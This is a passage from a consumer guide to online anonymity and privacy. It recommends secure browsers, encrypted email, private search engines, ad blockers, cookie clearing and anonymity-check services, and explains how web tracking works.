a Firefox and Chrome extension that automatically blocks trackers. This 
includes widgets and outgoing link click tracking on Facebook and 
Google. 

6. Swap to a secure browser 

If you use one of the most popular browsers such as Chrome or Firefox, 
you should remember that hackers may target these options first. Also, 
sometimes the popular web browsers collect tons of private data that can 
get used by third parties. That data could include your internet history, 
passwords, and cookies. 
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Even if you use incognito mode, the websites you go to can see your IP 
address and your location. Using a secure browser will help protect your 
online privacy and keep your information safe from hackers. We’ll go 
over a few secure browsers to give you some options: 

 Tor: Tor Browser is built on top of Firefox and connects to the Tor 
network that masks your online identity and keeps your browsing private. 

 Opera: Opera Browser has been around for more than 20 years and is 
available for all major desktops and mobile devices. That makes it  easy 
to sync your data between devices. 

 Brave: Brave Browser is privacy-focused and has a built-in script 
blocker. You automatically get connected to HTTPS sites rather than 
HTTP sites, which are not secure. 

7. Send encrypted email 

When you send personal information in an unprotected email, it makes it 
easy for hackers to intercept and capture the data. 

Encrypting your email keeps hackers from getting to your private 
communications. You also may want to use an email service that 
encrypts all your emails. If you only encrypt one here and there, that can 
make it easier for hackers to see when you send communications you 
want to protect. 

When you use a secure email account, you can pick one based on the 
features that matter to you. Here are a few of the options, but you can go 
with any service you feel meets your security needs. 

 ProtonMail: ProtonMail uses an open-source web interface and 
encryption that allows experts to audit and confirm high-security levels. It 
also encrypts email before it’s sent to the servers, which means hackers 
can’t easily intercept and read your emails. 

 Tutanota: Tutanota is a popular, secure email service that uses end-to-
end encryption. That means when you email someone using a different 
kind of service, the email will arrive password protected. It also uses two-
factor authentication and is externally audited. 

 Mailbox.org: Mailbox.org has been around since 1989 and allows you to 
sign up for an account without personal information, so anonymity is not 
a problem. You get access to mail headers that hide your device location 
and the recipient device locations. 

Find out how to encrypt your emails in Gmail, Yahoo, and Outlook. 
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8. Use a secure search engine 

You might use a popular search engine such as Google or Bing. Many 
people use these every day as a staple for internet browsing. Both of 
these search engines let you get almost instant access to information. 

When you use these popular search engines, you also give up some of 
your anonymity. Some users feel Google and Bing’s tactics are close to 
violating their privacy. 

When you enter a search in Google, your query is then part of your 
online search history and profile. Google may use that data to give you a 
more personal experience, but it also invades your privacy. 

You can use other search engines that are more secure and give you 
more anonymity. Here are three search engine options that might 
interest you: 

 Startpage: Startpage promises full user privacy and doesn’t sell or share 
your data. It also doesn’t have third-party trackers or cookies that might 
be found on other sites. You can browse in complete anonymity.  

 DuckDuckGo: DuckDuckGo is a popular, private search engine. It has a 
user-friendly interface and you don’t get ads when using it. It also has a 
browser extension to keep your internet usage private. 

 Qwant: Qwant is a search engine that doesn’t record your search 
queries or sell your data. It’s a full privacy search engine and categorizes 
search results into sections for easier use. 

9. Optimize your security settings 

One of the most beneficial ways to remain anonymous online is to 
optimize your security settings. You can update your settings to 
automatically decline cookies and turn off notifications. Data 
management is one of the keys to remaining private while you’re on the 
internet. 

Changing your security settings could help you prevent hackers from 
getting your sensitive information. The less data you expose, the fewer 
security vulnerabilities you could have. You can read more about privacy 

settings to control what information you share. 

10. Update your OS and antivirus software 

Have you gotten updates from your operating system (OS) or antivirus 
software linking to patches? Often, these patches get sent to fix a 
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security flaw. When you get these notices, you should update your 
system. Waiting could give cybercriminals a chance to steal your online 
data. 

You won’t have to check for updates with many systems because you 
should get an automatic update message or notification. You can choose 
to update at that time or to get a reminder. If you do manually check for 
updates, once per month should be often enough. 

It's important to note that you can set up your OS or software for 
automatic updates, but some devices must be plugged in for that 
function to work. Some updates take longer than others, so keeping your 
device plugged in while updating is a good idea anyway. Automatic 
updates can reduce the work on your part, including remembering to run 
them, so choosing this option makes sense for better productivity.  

11. Use an ad blocker 

You can install an ad blocker to protect your privacy and have more 
control over your browsing experience. Blocking ads can help keep your 
device from getting infected by malware. 

You can get free ad blockers, but these may allow what they consider 
acceptable ads. If you want to block everything, you may have to pay a 
fee for that service. Below are a few considerations for ad blocking 
products: 

 AdLock: AdLock removes pop-ups and other ads and comes free as a 
Chrome or Safari extension. You also get a 30-day money-back 
guarantee to try the product. Its lifetime subscriptions may also save you 
some cash. 

 AdGuard: AdGuard removes ads and online trackers while giving you 
protection against malware. You can choose the preferences you want 
and the devices to cover. It also comes with parental controls that keep 
adult content away from your kids. 

 Adblock Plus: Adblock Plus is free to download, and anyone can use it. 
It’s one of the most popular ad blockers and works with most browsers 
and mobile devices. You can also create custom filters and block lists. 

12. Read website terms of service 

You’ve probably visited many websites that ask you to review their terms 
of service. Have you ever sighed loudly and quickly scrolled past all the 
legalities to click that accept button? If so, you’re not alone. Most of us 
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have skimmed right over the information in a hurry to get to the website 
data we need. 

You may want to take some time to read the terms of service, no matter 
how boring and time-consuming it seems. This is where you’ll discover 
what data gets collected and what you agree to for the privilege of using 
the website. 

It’s not just you: Terms of Service are complicated 

Did you know you need a college education to read most social media 
sites’ terms of service? We’re not kidding — Facebook’s terms ranked at 

a college senior reading level. 

13. Clear your cookies 

Cookies are small files that get created when you visit a website. They 
get stored on your device to help you have a better online experience. 

You may want to clear your cookies because they can get hijacked by 
hackers and used to access your browsing history. Your data stays in the 
cookies and accumulates as you browse the internet. You’ll get more 
personalized ads thanks to tracking cookies, which may result in your 
data getting sold to third parties. 

You should clear cookies each time you use a public or shared device. If 
you’re on a personal device, you should clear cookies once per month. 
You can learn how to clear cookies with this easy-to-follow guide. 

How to check if you're anonymous 
online 

Is it possible to remain truly anonymous online? 

Many debate this question, but one thing is sure — online anonymity 
requires diligence and added measures like special browsers, 
anonymous messaging applications, encrypted email providers, and an 
untraceable payment method like a virtual card or monero 
cryptocurrency. 

Seems like a lot of work, right? Well, it is — and after taking those steps, 
how can you even be sure of your anonymity? 
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Fortunately, numerous options exist to check and verify the degree of 
your online anonymity. Below is a list of options you can use to check 
how anonymous you really are and discover how you may be leaking 
personal information. 

Electronic Frontier Foundation’s (EFF) Cover Your Tracks 

Cover Your Tracks shows how trackers see your browser and provide a 
comprehensive view of your browser's unique and identifying features. 
This service also tests to determine how well your browser and VPN are 
protected from online tracking and fingerprinting. 

Proxy6 

Proxy6 gauges your online anonymity by testing how much data your 
device provides. After the test, you’ll see your anonymity score as a 
percentage. 

2ip 

Another anonymity check service is 2ip, which uses a device's IP 

address to deliver your online anonymity probability as a percent. Ideally, 
you want to score 100% on these anonymity tests to feel you're 
effectively hiding your identity online. 

Privacy Tool 

Want to know if anyone can tell you're trying to be anonymous? Privacy 

Tool takes a different angle by launching a Java applet in your browser 
to let you know if it appears you’re using a privacy tool to hide your 
identity online. 

Browserleaks 

BrowserLeaks allows you to enter your IP address and check if and 

where your browser leaks private information. Identifying and fixing your 

browser leaks is a critical step on the path to online anonymity. 

IPLeak 

Similar to BrowserLeaks, IPLeak is another service that displays all of 
the information websites you visit can see and collect in addition to any 
current data leaks associated with your IP address. 

Anonymity vs. privacy online 
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Anonymity and privacy. Privacy and anonymity. Many use these two 
terms interchangeably, but they have two distinct meanings regarding 
internet activity. 

Privacy is the right and ability to keep personal data and knowledge 
about yourself private while monitoring who gains access to it. Online 
privacy can be defined by how much of your personal information you 
keep inaccessible while using the internet. 

For example, most people want the privacy to use applications and 
navigate websites freely without allowing access to their personally 
identifiable information or browsing history. 

Anonymity doesn't require the same level of zero tolerance regarding 
public visibility. Anonymity can be understood as the right and abili ty to 
conceal your identity but not your behavior. With anonymity, anyone can 
view your online activity, but not the personal information connecting you 
to it. 

For example, a corporate internet whistleblower would want anonymity in 
giving public testimony against a guilty supervisor to avoid possible 
future retaliation. 

How does web tracking work? 

Web tracking involves gathering customer information and using it to 
identify and monitor their internet activity patterns in hopes of better 
understanding customer interests and preferences for targeted 
advertising campaigns. 

Today, many websites attempt to collect our IP addresses, browsing 
history, and specific device information to construct customer profiles. 
Companies then use these profiles to help personalize our online 
experience and target content based on established preferences. 

Companies use different methods and tools to track website visitors, 
including: 

 IP tracking: Your IP address is a unique identifier assigned to your 
device which apps and websites you visit can see. IP tracking uses your 
IP address or other specifics like browser, operating system, or device 
type to determine a location, then can rely on segmented data for 
general insights. 



 HTTP cookies: These are small text files that collect and store user 
information and are capable of recognizing and tracking users across 
other websites. 

 Pixels: These are tiny snippets of code existing as transparent images 
that allow websites to gather information about visitors including how 
they browse and what type of ads they click. 

 Browser fingerprinting: Involves collecting a user's unique browser 
identifiers, creating a user profile "fingerprint," and then using this to 
track the user across the internet. 

 Canvas fingerprinting: This is where websites use the HTML 5 canvas 
element to collect details about your graphic processing unit (GPU) and 
other hardware specifications to create an image and fingerprint. 
Fingerprints are unique digital profiles composed of info including screen 
resolution, graphics card, and plugins created to track users across the 
internet. 

 Web beacons: Small pixel image tags placed in web page code or in 
emails to track user activity using an IP address or browser details. 

What's the difference between first-party and third-party tracking? 

First-party tracking occurs when the website you visit collects and uses 
your personal information. Many customers understand and expect this 
today when they use a website. First-party tracking tools only work on a 
single domain and often function to improve a website's performance. 

Third-party tracking occurs when a third party (or many of them) drops 

cookies on a device through the first-party website's code to collect and 

use your personal data. Third-party tracking can feel invasive since 
you’re often unaware of the presence of third-party tracking devices. 

Third-party tracking devices can follow you across multiple domains, 
provide access to any website loading third-party server code, and often 
focus on collecting data to bombard you with customized ad pitches. 

Due to the somewhat intrusive nature of third-party tracking and its 
unpopularity with many internet users, there has been a push to reduce 
third-party activity. According to Google sources, Chrome browser third-

party cookies were supposedly on the way out in 2023, but this phase-
out plan has been pushed back until the end of 2024. 

FAQs 
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Can you truly be anonymous online? 

It is possible to be anonymous online, but doing so may require using 
several methods, such as email encryption and a VPN. You also need to 
read all terms of service to know how data gets collected on websites. 
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How to browse the internet anonymously 

It seems like everybody wants your data, and one careless digital step 
can result in personal information being leaked and exposing your 
identity and browsing history. 

Here are some action steps you can take to help minimize intrusive data 
collection and improve your odds of online anonymity, which include: 

 Using a paid encrypted VPN connection like NordVPN or Surfshark. Free 
VPN connections can be less secure, but if you can’t afford a VPN 
service, there are some reputable free VPNs to try. 

 Employing a proxy server like FoxyProxy or Hidester as another layer of 
protection. 

 Stop trusting "privacy modes" like Chrome's incognito mode, which 
doesn't provide an adequate level of privacy protection. 

 Web surfing on a privacy-friendly browser such as Tor, Opera, or Brave. 
 Avoiding Google and using anonymous search engines 

like DuckDuckGo and Startpage instead. 

 Disabling browser cookies and deactivating Javascript if you do use 
Chrome or other non-friendly browsers. 

 Installing browser privacy extensions like Privacy Badger and Ghostery. 

 Emailing from an encrypted platform like ProtonMail and PreVeil. 
 Adjusting browser settings to block hardware fingerprinting and 

adjusting social media account privacy settings to restrict personal data 
collection. 

 Texting from an anonymous service provider like Globfone. 

 Making phone calls through a phone application like Burner that hides 
your real phone number and the personal information connected to it. 

 Shopping with virtual cards provided by a service like Privacy instead of 
providing your real payment information to merchants. 

 Only visiting HTTPS websites to maintain an extra layer of security. 
 Carefully reading all application permissions and website privacy 

policies to be aware of what information websites can legally collect. 
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Does a VPN make you untraceable? 

Using a VPN will not make you completely untraceable. Hackers and 
snoopers won’t see all your online activities, but your ISP may be able to 
see them. Using a VPN will encrypt your internet traffic and help protect 
your privacy online. 
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Do pictures stay on the internet forever? 

Pictures posted online may stay on the internet forever. That is known as 
“digital permanence.” 
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What’s the best company to remove personal information from the 
internet? 

Some of the best companies you can use to remove personal information 
from the internet include services such as Incogni, Privacy Bee, 

and DeleteMe. 

Bottom line 

When you want to stay anonymous online, you can use different 
methods to help. 

Using a VPN, password managers, and email encryption are some of the 
most efficient ways to protect security. To optimize your online privacy, 
you can combine many of these options to get the most advanced 
security available. 
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